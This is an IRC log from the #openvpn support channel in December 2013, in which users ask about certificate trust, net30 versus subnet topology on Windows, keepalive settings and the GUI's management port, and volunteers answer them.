19:13 < claudiop> Ill check it now. Thanks ;)
19:14 < pekster> claudiop: Yes, exactly. It works a bit like ssh keys (if you know how those work) but instead of sharing public keys in advance, everything is signed by the master "CA" key
19:15 < claudiop> Thanks, im sort of enlightened now : ) Yes i know how to ssh keys work. By the way, does openvpn client checks if the vpn im connecting to really is my vpn?
19:16 < pekster> Unless you've used your CA to sign certs for a 2nd VPN (don't do that!) that's impossible
19:16 < pekster> Only certs with a valid signature from your CA are accepted
19:17 < claudiop> pekster: I was asking because just like ssh, the fingerprint is not known until the first connection is made. If the fist connection made from a guest is compromised its possible to get a wrong server fingerprint and give the password for free (i think)
19:18 < pekster> Each client/server has the ca cert
19:18 < claudiop> but since openvpn works with certs i was i doubt :)
19:18 < pekster> By trusting that "root" certificate, it's already known if any cert received is valid
19:20 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
19:20 < claudiop> Hum. Ok, understook. Hey, thanks :) Someday i hope to be usefull to you as you was to me ;)
19:20 < claudiop> Bye
19:22 < pekster> Chears
19:28 -!- elfixit [~Icedove@213.55.184.157] has quit [Quit: elfixit]
19:29 -!- claudiop [~claudiop@a81-84-130-86.cpe.netcabo.pt] has quit [Quit: Leaving]
19:46 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
19:47 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
19:59 -!- xrosnight [~quassel@120.236.123.130] has quit [Changing host]
19:59 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
20:42 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
21:44 -!- joshh20 [~joshh20@v-70-42-74-226.unman-vds.internap-nyc.nfoservers.com] has quit [Quit: ZNC - http://znc.in]
21:52 -!- simbalinux [~ubuntu@ip68-108-135-177.lv.lv.cox.net] has quit [Quit: Lost terminal]
22:00 -!- ziddey [~ziddey@ool-45701202.dyn.optonline.net] has joined #openvpn
22:10 -!- duoi [duoi@gateway/shell/ircrelay.com/x-pyqnqcyqsjllzxhz] has left #openvpn ["Leaving"]
23:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 272 seconds]
23:42 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 260 seconds]
23:45 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
--- Day changed Mon Dec 23 2013
00:08 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 260 seconds]
00:09 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
00:17 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
00:18 -!- szr [~s_r@unaffiliated/szr] has quit [Quit: Client Exiting]
00:19 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
00:24 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 272 seconds]
00:28 -!- ziddey is now known as chanslav
00:29 -!- chanslav is now known as ziddey
00:30 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
00:38 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 248 seconds]
00:41 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
00:47 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 246 seconds]
00:50 -!- jacob11 [uid22180@gateway/web/irccloud.com/x-daqsygkjvnkmltjl] has joined #openvpn
00:50 < jacob11> hi guys. I cannot get an IP on windows 7 machine. I had the same configuration working properly on windows 8. Here is the log http://pastie.org/8570714 Can someone help me with this?
00:54 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
00:54 < jacob11> I have everything working on my iphone
00:54 < Aketzu> Mon Dec 23 07:46:08 2013 WARNING: Since you are using --dev tap, the second argu
00:54 < Aketzu> ment to --ifconfig must be a netmask, for example something like 255.255.255.0
00:55 < Aketzu> do you specify "dev tun" in config?
00:58 < jacob11> oh it was tap. I guess I was using older config file from the backup! thanks!
00:58 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 250 seconds]
01:02 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
01:02 < pekster> jacob11: You might also consider not using opendns (they suck: read !opendns) and avoiding net30 in favor of the 'subnet' topology (read: !subnet)
01:11 -!- toobluesc [~nitro@2001:558:6045:7b:3d70:c3df:18a:884] has quit [Quit: Ex-Chat]
01:11 -!- Aelius [~link@unaffiliated/aelius] has joined #openvpn
01:12 < Aelius> hey, is there a push option for windows, to set the adapter gateway IP?
01:12 < Aelius> I think I've asked tihs before
01:13 < Aelius> I can push the WINS setting fine, but I can't set the default gateway for the tun adapter
01:13 < Aelius> or I don't know how*
01:13 < Aelius> the reason being, windows firewall blocks the adapter if there is no gateway
01:14 < Aelius> it would simplify things if I could just have the gateway be specified in either the server or client config
01:16 < pekster> You don't use/need the --route-gateway directive in net30 topology. You do when using tun with the 'subnet' topology, or with tap. See the expansion of --server in the manpage, and also --route-gateway
01:18 < Aelius> ok, that's way over my head pekster. To put it simply, is there a way to get openvpn to set the "IPv4 Default Gateway"?
01:20 < Aelius> like, when you connect to a conventional router, the gateway is 192.168.1.1
01:20 < pekster> I'm out for the night, but someone else might be able to provide help if you post the configs you're using now (see !configs for posting details)
01:20 < Aelius> I need that but 10.8.0.1
01:20 < Aelius> ok
01:30 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:37 -!- mjkr [jzhmer@gateway/shell/blinkenshell.org/x-hfgkbzgeqbrdywvj] has joined #openvpn
01:37 < mjkr> openvpn certs is not expected to be found in a fresh windows install yes?
01:37 < mjkr> i just found one under trusted publisher section of certmgr
01:40 -!- ngharo [~ngharo@nexus.sypherz.com] has quit [Ping timeout: 246 seconds]
01:41 -!- ngharo [~ngharo@nexus.sypherz.com] has joined #openvpn
01:46 -!- Aelius [~link@unaffiliated/aelius] has quit []
01:51 -!- mjkr [jzhmer@gateway/shell/blinkenshell.org/x-hfgkbzgeqbrdywvj] has quit [Quit: WeeChat 0.4.1]
02:42 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
02:54 -!- Aelius [~link@unaffiliated/aelius] has joined #openvpn
02:55 < Aelius> So when I was using TAP, adding the gateway manually enabled windows to 'identify' the network. ironically as I'm switching to tun I figured out how to automate this...
02:55 < Aelius> but adding the gateway isn't fixing tun either
02:56 < Aelius> than and a setting is getting pushed i don't know from where
02:56 < Aelius> I'll post my client/server confs in a moment
02:57 < Aelius> but another strange happening is adding 'route 0.0.0.0 0.0.0.0' to the windows client config, a second network is created and that one is "identified"
02:58 < Aelius> anyone know why that is? this thread has a lot of info on the subject
02:58 < Aelius> http://www.101tech.net/2010/09/17/openvpn-windows-7-dont-play-nice-when-no-default-gw-is-specified/
02:58 <@vpnHelper> Title: OpenVPN Windows 7 dont play nice when no default GW is specified | 101TECH (at www.101tech.net)
03:01 < Aelius> http://codepad.org/2c1BmDw2
03:01 <@vpnHelper> Title: Plain Text code - 130 lines - codepad (at codepad.org)
03:03 < Aelius> and the server http://sprunge.us/QiYT
03:05 < Aelius> for now I've just entirely excluded the vpn adapter from firewall.. because even if we could get it to be identified, openvpn creates the adapter every time the server starts, which means windows will set it to 'public' every reboot
03:07 < Aelius> so unless the client.ovpn can run local commands (can it?) solving the "unidentified network" issue is only half the problem, since it will be set under the firewall's "public" profile, which denies all incoming connections
03:19 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 252 seconds]
03:24 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
03:25 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:31 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 260 seconds]
03:32 -!- Devastator [~devas@186.214.14.19] has joined #openvpn
03:52 -!- Zap-W [~zxd@bzq-109-64-61-102.red.bezeqint.net] has joined #openvpn
03:57 -!- Zap-W [~zxd@bzq-109-64-61-102.red.bezeqint.net] has quit [Ping timeout: 240 seconds]
04:00 -!- Guest28497 [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
04:00 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
04:00 -!- Zap-W [~zxd@bzq-79-179-97-200.red.bezeqint.net] has joined #openvpn
04:03 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 264 seconds]
04:04 -!- kossy [a@kossy.org] has quit [Ping timeout: 272 seconds]
04:05 -!- Carbon_Monoxide [~cmonxide@14.0.143.127] has joined #openvpn
04:06 -!- EmLeX_ [~emx@37.46.193.18] has quit [Ping timeout: 272 seconds]
04:06 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 272 seconds]
04:07 -!- kossy [a@kossy.org] has joined #openvpn
04:09 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
04:09 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
04:24 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Ping timeout: 245 seconds]
04:27 -!- wallbroken [~wallbroke@unaffiliated/wallbroken] has quit []
04:28 -!- ziddey [~ziddey@ool-45701202.dyn.optonline.net] has quit [Ping timeout: 272 seconds]
04:31 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
05:05 -!- Zap-W_ [~zxd@109.66.184.87] has joined #openvpn
05:06 -!- Zap-W [~zxd@bzq-79-179-97-200.red.bezeqint.net] has quit [Ping timeout: 272 seconds]
05:11 -!- Zap-W [~zxd@109.64.7.91] has joined #openvpn
05:12 -!- Zap-W_ [~zxd@109.66.184.87] has quit [Ping timeout: 252 seconds]
05:15 -!- Zap-W_ [~zxd@bzq-79-181-166-149.red.bezeqint.net] has joined #openvpn
05:16 -!- Zap-W [~zxd@109.64.7.91] has quit [Ping timeout: 272 seconds]
05:41 -!- wallbroken [~wallbroke@unaffiliated/wallbroken] has joined #openvpn
05:44 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
05:46 -!- Zap-W_ [~zxd@bzq-79-181-166-149.red.bezeqint.net] has quit [Ping timeout: 246 seconds]
06:08 -!- Zap-W [~zxd@bzq-79-182-192-58.red.bezeqint.net] has joined #openvpn
06:13 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
06:16 -!- Carbon_Monoxide [~cmonxide@14.0.143.127] has quit [Quit: Leaving]
06:27 -!- Zap-W [~zxd@bzq-79-182-192-58.red.bezeqint.net] has quit [Read error: Connection reset by peer]
06:29 -!- Zap-W [~zxd@bzq-79-182-206-54.red.bezeqint.net] has joined #openvpn
06:33 -!- Zap-W_ [~zxd@109.67.63.116] has joined #openvpn
06:34 -!- Zap-W [~zxd@bzq-79-182-206-54.red.bezeqint.net] has quit [Ping timeout: 264 seconds]
06:52 -!- quenode [~IceChat9@cable-178-148-237-149.dynamic.sbb.rs] has joined #openvpn
06:54 < quenode> HI weird thing when I use redirect-gateway option I can not ping host 192.168.1.3 which local network, but  I can ping some other host say 192.168.1.4 . The conf is standard tun. Any ides ?
06:56 < quenode> The host does not have any firewall setup 192.168.1.3
06:59 -!- Zap-W [~zxd@109.67.63.116] has joined #openvpn
07:00 -!- Zap-W_ [~zxd@109.67.63.116] has quit [Ping timeout: 240 seconds]
07:10 -!- Devastator [~devas@186.214.14.19] has quit []
07:12 -!- cpm [~Chip@pdpc/supporter/active/cpm] has joined #openvpn
07:12 -!- quenode_ [~IceChat9@cable-178-148-237-149.dynamic.sbb.rs] has joined #openvpn
07:13 -!- quenode [~IceChat9@cable-178-148-237-149.dynamic.sbb.rs] has quit [Ping timeout: 272 seconds]
07:14 -!- Zap-W_ [~zxd@bzq-109-66-36-172.red.bezeqint.net] has joined #openvpn
07:14 -!- Zap-W [~zxd@109.67.63.116] has quit [Ping timeout: 272 seconds]
07:28 -!- gavit [~gavit@190.98.16.61] has joined #openvpn
07:29 < gavit> http://pastie.org/private/cbtwqspjjt6yxtnuhd75hg <- anyone know what could be the cause of this? laptop -> WiFi <- PFsense WAN | PFSense Lan -> Switch
07:34 -!- debbie10t [~ma1com10t@host-92-20-50-44.as13285.net] has joined #openvpn
07:37 < debbie10t> so i have "management 127.0.0.1 8112" in the server config but the openvpn server management is actually listening on 25346 and I don't seem to be able to change it - using openvpn 232 & gui (no service running) WinXPSP3 - what is going on ?
07:38 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
07:42 < debbie10t> log on verb 4 - shows management_port = 25346 .. is this the default
07:43 < debbie10t> even stranger - i can connect to the port but cannot issue any commands to the process
07:44 -!- gavit [~gavit@190.98.16.61] has quit [Read error: Connection reset by peer]
07:45 < pagios> my vpn is timing out while idle is there a way to keep it up?  Inactivity timeout (--ping-restart), restarting
07:45 < pagios> Mon Dec 23 15:44:40 2013 SIGUSR1[soft,ping-restart] received, process restarting
07:47 < debbie10t> when I start openvpn with windows service everything seems to work normally
07:50 < debbie10t> pagios: --ping-restart will restart it try --keepalive 10 30 in the server
07:51 < debbie10t> this is fkn weird - openvpn-gui is totally misbehaving ???
08:01 < debbie10t> anybody around ?
08:05 < wallbroken> !net30
08:05 <@vpnHelper> "net30" is "/30" is (#1) http://openvpn.net/index.php/documentation/faq.html#slash30 explains why routed clients each use 4 ips, or (#2) you can avoid this behavior with by reading !topology
08:14 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
08:28 < wallbroken> ehi guys, I need a clarification: topology subnet is only for windows?
08:30 < pagios> should i enable any vpn feature to allow https traffic to pass through?
08:30 < pagios> trying to get https/openvpn_tcp
08:30 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
08:33 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:34 < debbie10t> wallbroken: topology subnet works with ubuntu aswell - so not only for windows
08:34 < wallbroken> and it avoids the limitation of --dev tun in creating net 30 topologies?
08:35 < debbie10t> yes
08:35 < debbie10t> it is said to become the default in future releases but not confirmmed when
08:35 < pagios> got dc
08:35 < pagios> anyone replied?
08:36 -!- cpm [~Chip@pdpc/supporter/active/cpm] has quit [Ping timeout: 264 seconds]
08:36 < debbie10t> pagios: everyone appears to be busy somewhere today . . .
08:37 < debbie10t> pagios: https traffic should pass over a vpn with no problem
08:41 -!- debbie10t [~ma1com10t@host-92-20-50-44.as13285.net] has left #openvpn []
08:57 < rob0> net30 in openvpn 2.0 was BECAUSE of Windows. The Windows bug was worked around in 2.1.
08:58 < wallbroken> "This is a limitation of --dev tun when used with the TAP-WIN32 driver."
08:58 < wallbroken> so, tun has some problem with windows?
08:59 < rob0> Right. The Linux and other tun/tap drivers were not limited.
08:59 < rob0> but ... again ... fixed in 2.1
08:59 < wallbroken> rob0, i'm trying to understand what is this limit are you talking about
08:59 < rob0> fixed
09:00 -!- debbie10t [~ma1com10t@host-92-20-50-44.as13285.net] has joined #openvpn
09:02 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
09:02 < pagios> debbie10t: i am using openvpn which should pass normally https traffic
09:03 < debbie10t> yes it should - can you ping the server you are trying to https to ?
09:03 < pagios> yes
09:04 < pagios> i even reach apache which sohws that error i pasted
09:04 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:05 < wallbroken> rob0, just tried
09:05 < wallbroken> this is not true
09:05 < wallbroken> if i don't use "topology subnet" i get 10.0.0.6
09:05 < wallbroken> if i do use it, i get 10.0.0.2
09:05 < debbie10t> pagios: sorry i did not see the error as was ofline .. please re-paste
09:07 < pagios> my vpn is timing out while idle is there a way to keep it up?  Inactivity timeout (--ping-restart), restarting
09:07 < pagios> oups sorry
09:07 < pagios> debbie10t: http://pastebin.com/wXe3ANtL
09:09 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Quit: Konversation terminated!]
09:12 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
09:16 -!- kro[au] [~thatguy@kgovps.net] has quit [Ping timeout: 240 seconds]
09:18 -!- kro[au] [~thatguy@209.141.41.57] has joined #openvpn
09:23 < debbie10t> pagios:  does not look like it has anything to do with ovpn ..
09:23 < wallbroken> debbie10t: "This is a limitation of --dev tun when used with the TAP-WIN32 driver."
09:23 < wallbroken> do you know why of this?
09:24 -!- orion [~orion@unaffiliated/orion] has joined #openvpn
09:25 < orion> Hi. I have a client which successfully connected to the server (tap), but I am unable to contact it. When I do a "status" in the management console I see an entry in the CLIENT LIST but not the ROUTING TABLE.
09:25 < orion> How can I fix this?
09:28 < orion> Nevermind, stupid question.
09:28 -!- orion [~orion@unaffiliated/orion] has quit [Quit: Leaving]
09:30 < debbie10t> orion: tap/server-bridge does not use routing .. maybe you have set it up incorrectly
09:30 < debbie10t> wallbroken: what are you saying - TUN cannot pass https ?
09:31 < wallbroken> i never talked about https
09:31 < wallbroken> i'm asking what is the limitation of tun on windows
09:31 < debbie10t> wallbroken: sorry i misread
09:33 < debbie10t> wallbroken: net30 is for windows / p2p is for *nix only / subnet is for both (provided the requirements are met
09:34 < debbie10t> !topology
09:34 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) details and examples at: https://community.openvpn.net/openvpn/wiki/Topology
09:36 < wallbroken> debbie10t, what specifically net30 does?
09:36 < debbie10t> https://community.openvpn.net/openvpn/wiki/Topology
09:36 <@vpnHelper> Title: Topology – OpenVPN Community (at community.openvpn.net)
09:37 < debbie10t> it is like p2p but for windows - which does not work with openvpn p2p
09:37 < debbie10t> just use subnet
09:38 < wallbroken> and if i do use nothing, what is the default behaviour?
09:38 < debbie10t> net30 is default - as described in ALL the documentation .. which you should read
09:39 < debbie10t> in future releases subnet is set to become default
09:39 < debbie10t> so get used to it now
09:40 < wallbroken> ok
09:40 < wallbroken> thank you
09:40 < debbie10t> no prob
09:41 < wallbroken> oh sorry, one last thing: "This is a limitation of --dev tun when used with the TAP-WIN32 driver."
09:41 < wallbroken> what this sentece should mean?
09:41 < wallbroken> *sentence
09:42 < debbie10t> where are you reading that ?
09:42 -!- master_o1_master [~master_of@p4FD7BBE1.dip0.t-ipconnect.de] has joined #openvpn
09:43 < wallbroken> There is a problem in your selection of --ifconfig endpoints [local=10.10.5.24, remote=10.10.5.1]. The local and remote VPN endpoints must exist within the same 255.255.255.252 subnet. This is a limitation of --dev tun when used with the TAP-WIN32 driver. Try 'openvpn --show-valid-subnets' option for more info.
09:43 < debbie10t> paste me the url please
09:43 < rob0> Just forget net30! Why is this so hard? Don't use it!
09:43 < debbie10t> =[
09:45 < wallbroken> probably because the subnet i'm pushing it's nota a net30 valid subnet
09:46 -!- master_of_master [~master_of@p4FD7BF94.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
09:48 < debbie10t> wallbroken: ifconfig 10.10.5.24 10.10.5.1 is INVALID
09:48 < debbie10t> .24 is the subnet network number NOT a host address
09:49 < debbie10t> Try 'openvpn --show-valid-subnets'
09:50 < debbie10t> oor just use topology subnet on your server and reconfig your client correctly
09:53 -!- Zap-W_ [~zxd@bzq-109-66-36-172.red.bezeqint.net] has quit [Ping timeout: 272 seconds]
09:53 -!- Zap-W [~zxd@bzq-109-64-197-23.red.bezeqint.net] has joined #openvpn
09:56 -!- kasper93_ [~kasper93@unaffiliated/kasper93] has joined #openvpn
09:56 -!- Zap-W [~zxd@bzq-109-64-197-23.red.bezeqint.net] has quit [Remote host closed the connection]
09:56 -!- kasper93 [~kasper93@unaffiliated/kasper93] has quit [Ping timeout: 256 seconds]
09:57 -!- Zap-W [~zxd@109.64.197.23] has joined #openvpn
09:58 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 250 seconds]
10:15 < debbie10t> rob0 are you around - i seem to have discovered a bug ?
10:18 < debbie10t> openvpn-gui for windows on WinXP does not assign the correct management port
10:18 < debbie10t> version 232
10:19 < debbie10t> tried on two different machines - same thing happens
10:19 < debbie10t> service assigns correct management port gui does not
10:19 < debbie10t> have looked through the bug tracker but could not find any info about this - was going to post a bug rep.
10:22 < rob0> I don't use Windows, and I am not a developer, so I wouldn't have anything to say about that.
10:22 -!- Bretos [~Bretos@vps.tyborek.pl] has left #openvpn ["RUN FOR YOUR LIVES!"]
10:24 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
10:24 < debbie10t> ok
10:24 < pekster> debbie10t: "Works For Me" here, 2.3.2 in an XP test VM in a fairly generic config with `management 127.0.0.1 1294` in the config
10:24 < pekster> TCP    127.0.0.1:1294         0.0.0.0:0              LISTENING
10:25 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
10:25 < pekster> debbie10t: Oh, wait, that was with the service. The GUI eats the management interface
10:26 < pekster> debbie10t: In other words, as a requirement of the current GUI code, it appends its _own_ management port as the GUI code internals uses this to control the openvpn process. You either run openvpn from the service or command-line, OR you use the GUI and can't get the management interface yourself
10:28 < debbie10t> ahh - thanks pekster
10:29 < debbie10t> is this documented anywhere ?
10:31 < pekster> It's the only way to get IPC between external processes and openvpn
10:32 < pekster> So, it is sort of if you read into the management documentation
10:32 < pekster> Or just poke yourself and see what the GUI is "really doing" by downloading "Process Explorer" (a Sysinternals product, now owned by Microsoft) and see how the openvpn.exe parameters work
10:32 < debbie10t> ok - i did try to find anything but i could not - but now i know that is fine ;)
10:49 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
10:49 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
10:51 < debbie10t> process explorer .. lol .. i have been a user since version 7
10:53 < wallbroken> [15:57:28] <rob0> net30 in openvpn 2.0 was BECAUSE of Windows. The Windows bug was worked around in 2.1.
10:53 < wallbroken> false
10:54 < wallbroken> this is not a bug
10:54 < wallbroken> this is a limitation
10:54 < wallbroken> JoshC explained well in their post on the forum
10:54 < wallbroken> "The reason this works on non-Windows is because even in net30 topology the addressing is configured as a traditional Point-to-Point (PtP) interface; Windows has no notion of this concept, and the TAP driver fakes it by using an entire /30 and only using the center-two usable IPs on the fake "subnet.""
10:55 < pekster> If anything it was a shortcoming of the TAP/Win32 driver in 2.0. The driver was updated to support a traditional subnet-style setup as of the 2.1 release
10:55 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
10:55 < pekster> "bug" verses "not implemented on platform X" is a fine line ;)
10:56 -!- joshh20_ [~joshh20@v-70-42-74-226.unman-vds.internap-nyc.nfoservers.com] has joined #openvpn
10:56 < wallbroken> pekster, if i do use "server 10.0.0.0 255.255.255.0" without "topology subnet" on the server, which address will I pull on a linux client?
10:57 < wallbroken> 10.0.0.2 ?
10:58 < pekster> You'll pull PtP addressing from the center of a /30 as defined by the implied pool --server gives you
10:58 < pekster> So, subdivide your /24 range into /30's, rip out the first /30 in the range that the server eats for its own addressing, and the remaining 63 available /30's are assigned to clients starting with the first
10:59 < pekster> tl;dr: just use 'subnet' as you've been told earlier
10:59 < pekster> The wiki article I wrote hopefully makes it quite obvious that this is legacy behavior for ancient (over 6 year old) clients
10:59 < wallbroken> so "This is a limitation of --dev tun when used with the TAP-WIN32 driver. Try 'openvpn --show-valid-subnets' option for more info." make no more sense from 2.0 driver ?
11:00 < pekster> You _MUST_ assign addressing from the center of a /30. That's how /30 subnets work
11:00 < wallbroken> yes I know, but when it sais "This is a limitation of --dev tun when used with the TAP-WIN32 driver." what would it mean?
11:00 < wallbroken> *says
11:01 < pekster> It means net30 topology is unable to assign addressing unless you use valid address on the /30 subnet
11:01 < pekster> You might want to review your networking basics if the concept of available IPs on a broadcast-style network is confusing
11:02 < pekster> Since a /30 is 4 IPs, and the network+broadcast eat 2 of them, you only  have 2 choices, and 2 endpoints. Obviously you must use those two (although the order is still definable)
11:02 < pekster> Why fight this so hard? `topology subnet` and call it a day
11:02 < pekster> More details at: !topology
11:03 < wallbroken> pekster, yes, but I need to understand to write it out on my blog and explain well to the other people reading it
11:03 < wallbroken> what you said on the last sentence is too much clear
11:03 < pekster> That's your job then. ##networking is probably more on-topic if you need help defining/explaining extreme basics of networking
11:03 < wallbroken> one ip rapresents the broadcast, the other rapresents the network
11:04 < pekster> Yes, but those concepts are meaningless to OpenVPN
11:04 < pekster> They're only used as fake /30 nonsense to Windows
11:05 < wallbroken> if i use /30 in vpn, this means that about these 2 available IP's, the first is about server and the other is about client
11:06 < rob0> Why would you want to use net30?
11:06 < pekster> Yes, the wiki article I wrote explains this very clearly (have you read it yet? You've been linked it several times)
11:06 < wallbroken> for example, 10.0.0.0 is for network, 10.0.0.4 is for broadcast
11:06 < wallbroken> i can only use 10.0.0.1 and 10.0.0.2, one is for client and the other for server
11:06 < pekster> Wrong, 10.0.0.0/30 leaves 10.0.0.3 for the "broadcast"
11:06 < pekster> Otherwise right
11:06 < wallbroken> oh yes, sorry
11:07 < wallbroken> what the mistake on windows with this?
11:08 < rob0> What is the appeal in net30? It hits you with limits and extra complexity for no benefit.
11:08 < wallbroken> rob0, i'm writing a complete detailed howto in my own language on my blog, and I need to know it.
11:08 < wallbroken> I don't want to use it, I simply need to understand about the -dev tun windows mistake
11:08 < pekster> There is _lots_ of legacy, broken, backwards-compat stuff in OpenVPN. Even the developers find bits of it now and then that were hidden, burried for months/years. You really don't need to "know it all"
11:08 < rob0> I wouldn't write a HOWTO for openvpn 2.0 in A.D. 2013
11:09 < pekster> net30 is just another such relic that can be considered useless unless you actually are using 6+ year out of date products
11:09 < pekster> Well, "broken" is perhaps the wrong word to have used. "unexpected operation" ;)
11:10 < rob0> I would seriously FORGET ALL ABOUT NET30 and put a little asterisk in your howto, "requires openvpn 2.1 or later".
11:10 < wallbroken> pekster, what are you trying to say? I can't write an howto about openvpn?
11:10 < pekster> You can. I just thin it's a severe disservice to even note it beyond a footnote that if you have ancient versions you cannot use it
11:10 < pekster> YMMV, all waranties void, etc, etc
11:10 < pekster> "Do What You Want"
11:11 < rob0> Howtos are better when written by people with deeper understanding, but it's silly to say someone says you "can't" write it. pekster is not holding a gun to your head.
11:11 < rob0> pekster, ... are you?
11:11 < pekster> Hardly. I wouldn't publish the information on the public wiki if I didn't think it was useful to some people :)
11:11 < pekster> fwiw:
11:11 < pekster> !topology
11:11 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) details and examples at: https://community.openvpn.net/openvpn/wiki/Topology
11:12 < pekster> Please edit the page if there are incosistencies or parts that are unclear (that how the wiki improves!)
11:13 -!- Assid [~assid@unaffiliated/assid] has joined #openvpn
11:14 < wallbroken> I try to make a summary about the discussion on net30: the default behavuoir of -dev tun is "net 30". it assigns 2 host ip's, one for client and one for server. if server pushes a net 30 IP to a windows client. -TAP-WIN32 won't accept it and i'll get an error?
11:14 < pekster> No, not at all what the wiki page I wrote says about net30. The 2nd sentence reads:
11:15 < pekster> "Each client is allocated a virtual /30 network, and Windows clients must use the 2 IPs in the center, generally allocating the even IP to the client (though this is convention only.)"
11:15 < pekster> Was this unclear in some way? I'm happy to improve it if you read it and didn't understand part of it, but the better thing to do after reading it if you didn't understand is to ask for clarification if you had trouble
11:15 -!- Assid [~assid@unaffiliated/assid] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
11:16 < pekster> This is a pretty basic part of getting help with open-source products online. You can learn more about asking when you don't understand here: http://catb.org/~esr/faqs/smart-questions.html#lesser
11:16 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
11:18 < wallbroken> "and Windows clients must use the 2 IPs in the center," this would be the "limitation" ?
11:19 < pekster> Yes. That and the fact that you only get 1/4 (minus 4) addresses from your pool available for real clients
11:20 < pekster> So, out of a /24 subnet which has 256 IPs, you can only connect 63 clients. 'subnet' can connect 254, and p2p can handle 255 (or 256 if you're clever about using out-of-network peering on the server, but that's far too advanced a topic here)
11:20 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
11:20 < pekster> s/254/253
11:22 < wallbroken> so, 10.0.0.0/30, windows needs to get 10.0.0.1 or 10.0.0.2. instead linux? which ip will get?
11:22 < wallbroken> get = accept
11:25 < wallbroken> let's do something, maybe if you can give me a practical example about the difference of behaviour in net30 between linux and windows, I understand that the fly :)
11:26 < pekster> Linux uses Point-to-Point networking in the traditional sense
11:26 < pekster> Windows is unable to do that and acts exactly as the wiki says it does
11:26 < pekster> That's the difference. Exactly that, no more anad no less
11:29 < wallbroken> point-to-point means no network and broadcast ip?
11:29 < pekster> https://lmddgtfy.net/?q=What%20is%20Point-to-Point%20networking%3F
11:29 <@vpnHelper> Title: Let Me DuckDuckGo That For You (at lmddgtfy.net)
11:30 < pekster> It's "just 2 addresses"
11:31 < pekster> Linux has no problem with: `ip address add 192.0.2.7 203.0.113.99 dev eth0`. That's very weird, but "valid"
11:31 < wallbroken> ok, but windows driver doesn't support it in a traditional way, and must use net30 to get a similar behaviour
11:34 -!- smerz [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
11:34 < pekster> That too is answered on the wiki. I'll leave it an excersize for the reaader to discover where (hint: there are only 5 short paragraphs you need to read)
11:36 -!- master_o1_master [~master_of@p4FD7BBE1.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
11:37 < rob0> pekster, cool, rfc 3330 :)
